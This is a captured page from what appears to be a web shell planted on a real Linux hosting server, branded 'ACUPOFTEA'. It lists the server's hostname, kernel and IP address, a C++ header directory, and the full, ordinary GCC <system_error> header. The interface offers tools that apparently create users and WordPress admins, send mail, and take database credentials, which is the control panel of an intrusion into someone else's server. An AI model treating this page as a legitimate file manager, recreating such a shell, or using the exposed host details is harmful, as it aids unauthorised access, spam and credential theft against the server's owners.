System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
c++
/
8
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
system_error
// <system_error> -*- C++ -*- // Copyright (C) 2007-2018 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file include/system_error * This is a Standard C++ Library header. */ #ifndef _GLIBCXX_SYSTEM_ERROR #define _GLIBCXX_SYSTEM_ERROR 1 #pragma GCC system_header #if __cplusplus < 201103L # include <bits/c++0x_warning.h> #else #include <bits/c++config.h> #include <bits/error_constants.h> #include <iosfwd> #include <stdexcept> namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION class error_code; class error_condition; class system_error; /// is_error_code_enum template<typename _Tp> struct is_error_code_enum : public false_type { }; /// is_error_condition_enum template<typename _Tp> struct is_error_condition_enum : public false_type { }; template<> struct is_error_condition_enum<errc> : public true_type { }; #if __cplusplus > 201402L template <typename _Tp> inline constexpr bool is_error_code_enum_v = is_error_code_enum<_Tp>::value; template <typename _Tp> inline constexpr bool is_error_condition_enum_v = is_error_condition_enum<_Tp>::value; #endif // C++17 inline namespace _V2 { /// error_category class error_category { public: constexpr error_category() noexcept = default; virtual ~error_category(); error_category(const error_category&) = delete; error_category& operator=(const error_category&) = delete; virtual const char* name() const noexcept = 0; // We need two different virtual functions here, one returning a // COW string and one returning an SSO string. Their positions in the // vtable must be consistent for dynamic dispatch to work, but which one // the name "message()" finds depends on which ABI the caller is using. #if _GLIBCXX_USE_CXX11_ABI private: _GLIBCXX_DEFAULT_ABI_TAG virtual __cow_string _M_message(int) const; public: _GLIBCXX_DEFAULT_ABI_TAG virtual string message(int) const = 0; #else virtual string message(int) const = 0; private: virtual __sso_string _M_message(int) const; #endif public: virtual error_condition default_error_condition(int __i) const noexcept; virtual bool equivalent(int __i, const error_condition& __cond) const noexcept; virtual bool equivalent(const error_code& __code, int __i) const noexcept; bool operator<(const error_category& __other) const noexcept { return less<const error_category*>()(this, &__other); } bool operator==(const error_category& __other) const noexcept { return this == &__other; } bool operator!=(const error_category& __other) const noexcept { return this != &__other; } }; // DR 890. _GLIBCXX_CONST const error_category& system_category() noexcept; _GLIBCXX_CONST const error_category& generic_category() noexcept; } // end inline namespace error_code make_error_code(errc) noexcept; template<typename _Tp> struct hash; /// error_code // Implementation-specific error identification struct error_code { error_code() noexcept : _M_value(0), _M_cat(&system_category()) { } error_code(int __v, const error_category& __cat) noexcept : _M_value(__v), _M_cat(&__cat) { } template<typename _ErrorCodeEnum, typename = typename enable_if<is_error_code_enum<_ErrorCodeEnum>::value>::type> error_code(_ErrorCodeEnum __e) noexcept { *this = make_error_code(__e); } void assign(int __v, const error_category& __cat) noexcept { _M_value = __v; _M_cat = &__cat; } void clear() noexcept { assign(0, system_category()); } // DR 804. template<typename _ErrorCodeEnum> typename enable_if<is_error_code_enum<_ErrorCodeEnum>::value, error_code&>::type operator=(_ErrorCodeEnum __e) noexcept { return *this = make_error_code(__e); } int value() const noexcept { return _M_value; } const error_category& category() const noexcept { return *_M_cat; } error_condition default_error_condition() const noexcept; _GLIBCXX_DEFAULT_ABI_TAG string message() const { return category().message(value()); } explicit operator bool() const noexcept { return _M_value != 0; } // DR 804. private: friend class hash<error_code>; int _M_value; const error_category* _M_cat; }; // 19.4.2.6 non-member functions inline error_code make_error_code(errc __e) noexcept { return error_code(static_cast<int>(__e), generic_category()); } inline bool operator<(const error_code& __lhs, const error_code& __rhs) noexcept { return (__lhs.category() < __rhs.category() || (__lhs.category() == __rhs.category() && __lhs.value() < __rhs.value())); } template<typename _CharT, typename _Traits> basic_ostream<_CharT, _Traits>& operator<<(basic_ostream<_CharT, _Traits>& __os, const error_code& __e) { return (__os << __e.category().name() << ':' << __e.value()); } error_condition make_error_condition(errc) noexcept; /// error_condition // Portable error identification struct error_condition { error_condition() noexcept : _M_value(0), _M_cat(&generic_category()) { } error_condition(int __v, const error_category& __cat) noexcept : _M_value(__v), _M_cat(&__cat) { } template<typename _ErrorConditionEnum, typename = typename enable_if<is_error_condition_enum<_ErrorConditionEnum>::value>::type> error_condition(_ErrorConditionEnum __e) noexcept { *this = make_error_condition(__e); } void assign(int __v, const error_category& __cat) noexcept { _M_value = __v; _M_cat = &__cat; } // DR 804. template<typename _ErrorConditionEnum> typename enable_if<is_error_condition_enum <_ErrorConditionEnum>::value, error_condition&>::type operator=(_ErrorConditionEnum __e) noexcept { return *this = make_error_condition(__e); } void clear() noexcept { assign(0, generic_category()); } // 19.4.3.4 observers int value() const noexcept { return _M_value; } const error_category& category() const noexcept { return *_M_cat; } _GLIBCXX_DEFAULT_ABI_TAG string message() const { return category().message(value()); } explicit operator bool() const noexcept { return _M_value != 0; } // DR 804. private: int _M_value; const error_category* _M_cat; }; // 19.4.3.6 non-member functions inline error_condition make_error_condition(errc __e) noexcept { return error_condition(static_cast<int>(__e), generic_category()); } inline bool operator<(const error_condition& __lhs, const error_condition& __rhs) noexcept { return (__lhs.category() < __rhs.category() || (__lhs.category() == __rhs.category() && __lhs.value() < __rhs.value())); } // 19.4.4 Comparison operators inline bool operator==(const error_code& __lhs, const error_code& __rhs) noexcept { return (__lhs.category() == __rhs.category() && __lhs.value() == __rhs.value()); } inline bool operator==(const error_code& __lhs, const error_condition& __rhs) noexcept { return (__lhs.category().equivalent(__lhs.value(), __rhs) || __rhs.category().equivalent(__lhs, __rhs.value())); } inline bool operator==(const error_condition& __lhs, const error_code& __rhs) noexcept { return (__rhs.category().equivalent(__rhs.value(), __lhs) || __lhs.category().equivalent(__rhs, __lhs.value())); } inline bool operator==(const error_condition& __lhs, const error_condition& __rhs) noexcept { return (__lhs.category() == __rhs.category() && __lhs.value() == __rhs.value()); } inline bool operator!=(const error_code& __lhs, const error_code& __rhs) noexcept { return !(__lhs == __rhs); } inline bool operator!=(const error_code& __lhs, const error_condition& __rhs) noexcept { return !(__lhs == __rhs); } inline bool operator!=(const error_condition& __lhs, const error_code& __rhs) noexcept { return !(__lhs == __rhs); } inline bool operator!=(const error_condition& __lhs, const error_condition& __rhs) noexcept { return !(__lhs == __rhs); } /** * @brief Thrown to indicate error code of underlying system. * * @ingroup exceptions */ class system_error : public std::runtime_error { private: error_code _M_code; public: system_error(error_code __ec = error_code()) : runtime_error(__ec.message()), _M_code(__ec) { } system_error(error_code __ec, const string& __what) : runtime_error(__what + ": " + __ec.message()), _M_code(__ec) { } system_error(error_code __ec, const char* __what) : runtime_error(__what + (": " + __ec.message())), _M_code(__ec) { } system_error(int __v, const error_category& __ecat, const char* __what) : system_error(error_code(__v, __ecat), __what) { } system_error(int __v, const error_category& __ecat) : runtime_error(error_code(__v, __ecat).message()), _M_code(__v, __ecat) { } system_error(int __v, const error_category& __ecat, const string& __what) : runtime_error(__what + ": " + error_code(__v, __ecat).message()), _M_code(__v, __ecat) { } virtual ~system_error() noexcept; const error_code& code() const noexcept { return _M_code; } }; _GLIBCXX_END_NAMESPACE_VERSION } // namespace #include <bits/functional_hash.h> namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION #ifndef _GLIBCXX_COMPATIBILITY_CXX0X // DR 1182. /// std::hash specialization for error_code. template<> struct hash<error_code> : public __hash_base<size_t, error_code> { size_t operator()(const error_code& __e) const noexcept { const size_t __tmp = std::_Hash_impl::hash(__e._M_value); return std::_Hash_impl::__hash_combine(__e._M_cat, __tmp); } }; #endif // _GLIBCXX_COMPATIBILITY_CXX0X #if __cplusplus > 201402L // DR 2686. /// std::hash specialization for error_condition. template<> struct hash<error_condition> : public __hash_base<size_t, error_condition> { size_t operator()(const error_condition& __e) const noexcept { const size_t __tmp = std::_Hash_impl::hash(__e.value()); return std::_Hash_impl::__hash_combine(__e.category(), __tmp); } }; #endif _GLIBCXX_END_NAMESPACE_VERSION } // namespace #endif // C++11 #endif // _GLIBCXX_SYSTEM_ERROR
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
..
DIR
-
drwxr-xr-x
2025-08-26 09:44:51
backward
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
bits
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
debug
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
decimal
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
experimental
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
ext
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
parallel
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
profile
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
tr1
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
tr2
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
x86_64-redhat-linux
DIR
-
drwxr-xr-x
2025-08-26 09:45:06
algorithm
text/x-c
2.46 KB
-rw-r--r--
2025-08-26 09:45:05
any
text/x-c
18.17 KB
-rw-r--r--
2025-08-26 09:45:05
array
text/x-c
11.38 KB
-rw-r--r--
2025-08-26 09:45:05
atomic
text/x-c
40.09 KB
-rw-r--r--
2025-08-26 09:45:05
bitset
text/x-c
44.83 KB
-rw-r--r--
2025-08-26 09:45:05
cassert
text/x-c
1.61 KB
-rw-r--r--
2025-08-26 09:45:05
ccomplex
text/x-c
1.3 KB
-rw-r--r--
2025-08-26 09:45:05
cctype
text/x-c
2.35 KB
-rw-r--r--
2025-08-26 09:45:05
cerrno
text/x-c
1.73 KB
-rw-r--r--
2025-08-26 09:45:05
cfenv
text/x-c
2 KB
-rw-r--r--
2025-08-26 09:45:05
cfloat
text/x-c
1.84 KB
-rw-r--r--
2025-08-26 09:45:05
charconv
text/x-c
16.32 KB
-rw-r--r--
2025-08-26 09:45:05
chrono
text/x-c
29.17 KB
-rw-r--r--
2025-08-26 09:45:05
cinttypes
text/x-c
2.11 KB
-rw-r--r--
2025-08-26 09:45:05
ciso646
text/x-c
1.43 KB
-rw-r--r--
2025-08-26 09:45:05
climits
text/x-c
1.87 KB
-rw-r--r--
2025-08-26 09:45:05
clocale
text/x-c
1.86 KB
-rw-r--r--
2025-08-26 09:45:05
cmath
text/x-c
47.01 KB
-rw-r--r--
2025-08-26 09:45:05
codecvt
text/x-c
5.22 KB
-rw-r--r--
2025-08-26 09:45:05
complex
text/x-c
53.26 KB
-rw-r--r--
2025-08-26 09:45:05
complex.h
text/x-c
1.56 KB
-rw-r--r--
2025-08-26 09:45:05
condition_variable
text/x-c
8.74 KB
-rw-r--r--
2025-08-26 09:45:05
csetjmp
text/x-c
1.9 KB
-rw-r--r--
2025-08-26 09:45:05
csignal
text/x-c
1.81 KB
-rw-r--r--
2025-08-26 09:45:05
cstdalign
text/plain
1.37 KB
-rw-r--r--
2025-08-26 09:45:05
cstdarg
text/x-c
1.82 KB
-rw-r--r--
2025-08-26 09:45:05
cstdbool
text/plain
1.37 KB
-rw-r--r--
2025-08-26 09:45:05
cstddef
text/x-c
6.29 KB
-rw-r--r--
2025-08-26 09:45:05
cstdint
text/x-c
2.12 KB
-rw-r--r--
2025-08-26 09:45:05
cstdio
text/x-c
4.33 KB
-rw-r--r--
2025-08-26 09:45:05
cstdlib
text/x-c
6.18 KB
-rw-r--r--
2025-08-26 09:45:05
cstring
text/x-c
3.05 KB
-rw-r--r--
2025-08-26 09:45:05
ctgmath
text/x-c
1.33 KB
-rw-r--r--
2025-08-26 09:45:05
ctime
text/x-c
2.08 KB
-rw-r--r--
2025-08-26 09:45:05
cuchar
text/x-c
2.16 KB
-rw-r--r--
2025-08-26 09:45:05
cwchar
text/x-c
6.36 KB
-rw-r--r--
2025-08-26 09:45:05
cwctype
text/x-c
2.73 KB
-rw-r--r--
2025-08-26 09:45:05
cxxabi.h
text/x-c
21.46 KB
-rw-r--r--
2025-08-26 09:45:07
deque
text/x-c
2.6 KB
-rw-r--r--
2025-08-26 09:45:05
exception
text/x-c
4.69 KB
-rw-r--r--
2025-08-26 09:45:07
fenv.h
text/x-c
1.97 KB
-rw-r--r--
2025-08-26 09:45:05
filesystem
text/x-c
1.4 KB
-rw-r--r--
2025-08-26 09:45:05
forward_list
text/x-c
1.54 KB
-rw-r--r--
2025-08-26 09:45:05
fstream
text/x-c
35.92 KB
-rw-r--r--
2025-08-26 09:45:05
functional
text/x-c
36.87 KB
-rw-r--r--
2025-08-26 09:45:05
future
text/x-c
49.49 KB
-rw-r--r--
2025-08-26 09:45:05
initializer_list
text/x-c
2.9 KB
-rw-r--r--
2025-08-26 09:45:07
iomanip
text/x-c
16.16 KB
-rw-r--r--
2025-08-26 09:45:05
ios
text/x-c
1.56 KB
-rw-r--r--
2025-08-26 09:45:05
iosfwd
text/x-c
6.76 KB
-rw-r--r--
2025-08-26 09:45:05
iostream
text/x-c
2.63 KB
-rw-r--r--
2025-08-26 09:45:05
istream
text/x-c
32.07 KB
-rw-r--r--
2025-08-26 09:45:05
iterator
text/x-c
2.58 KB
-rw-r--r--
2025-08-26 09:45:05
limits
text/x-c
67.56 KB
-rw-r--r--
2025-08-26 09:45:05
list
text/x-c
2.53 KB
-rw-r--r--
2025-08-26 09:45:05
locale
text/x-c
1.45 KB
-rw-r--r--
2025-08-26 09:45:05
map
text/x-c
2.5 KB
-rw-r--r--
2025-08-26 09:45:05
math.h
text/plain
4.26 KB
-rw-r--r--
2025-08-26 09:45:05
memory
text/x-c++
4.6 KB
-rw-r--r--
2025-08-26 09:45:05
mutex
text/x-c
17.8 KB
-rw-r--r--
2025-08-26 09:45:05
new
text/x-c
7.34 KB
-rw-r--r--
2025-08-26 09:45:07
numeric
text/x-c
5.32 KB
-rw-r--r--
2025-08-26 09:45:05
optional
text/x-c
42.93 KB
-rw-r--r--
2025-08-26 09:45:05
ostream
text/x-c
21.57 KB
-rw-r--r--
2025-08-26 09:45:05
queue
text/x-c
2.41 KB
-rw-r--r--
2025-08-26 09:45:05
random
text/x-c
1.65 KB
-rw-r--r--
2025-08-26 09:45:05
ratio
text/x-c
19.42 KB
-rw-r--r--
2025-08-26 09:45:05
regex
text/x-c
1.85 KB
-rw-r--r--
2025-08-26 09:45:05
scoped_allocator
text/x-c
15.84 KB
-rw-r--r--
2025-08-26 09:45:05
set
text/x-c
2.5 KB
-rw-r--r--
2025-08-26 09:45:05
shared_mutex
text/x-c
18.95 KB
-rw-r--r--
2025-08-26 09:45:05
sstream
text/x-c
26.24 KB
-rw-r--r--
2025-08-26 09:45:05
stack
text/x-c
2.33 KB
-rw-r--r--
2025-08-26 09:45:05
stdexcept
text/x-c
7.79 KB
-rw-r--r--
2025-08-26 09:45:05
stdlib.h
text/plain
2.2 KB
-rw-r--r--
2025-08-26 09:45:05
streambuf
text/x-c
29.31 KB
-rw-r--r--
2025-08-26 09:45:05
string
text/x-c
1.89 KB
-rw-r--r--
2025-08-26 09:45:05
string_view
text/x-c
20.3 KB
-rw-r--r--
2025-08-26 09:45:05
system_error
text/x-c
11.25 KB
-rw-r--r--
2025-08-26 09:45:05
tgmath.h
text/x-c
1.33 KB
-rw-r--r--
2025-08-26 09:45:05
thread
text/x-c
10.27 KB
-rw-r--r--
2025-08-26 09:45:05
tuple
text/x-c
58.94 KB
-rw-r--r--
2025-08-26 09:45:05
type_traits
text/x-c
83.86 KB
-rw-r--r--
2025-08-26 09:45:05
typeindex
text/x-c
3.02 KB
-rw-r--r--
2025-08-26 09:45:05
typeinfo
text/x-c
7.51 KB
-rw-r--r--
2025-08-26 09:45:07
unordered_map
text/x-c
1.8 KB
-rw-r--r--
2025-08-26 09:45:05
unordered_set
text/x-c
1.8 KB
-rw-r--r--
2025-08-26 09:45:05
utility
text/x-c
12.01 KB
-rw-r--r--
2025-08-26 09:45:05
valarray
text/x-c
39.33 KB
-rw-r--r--
2025-08-26 09:45:05
variant
text/x-c
47.11 KB
-rw-r--r--
2025-08-26 09:45:05
vector
text/x-c
2.68 KB
-rw-r--r--
2025-08-26 09:45:05
~ ACUPOFTEA - mail.ontime-ae.com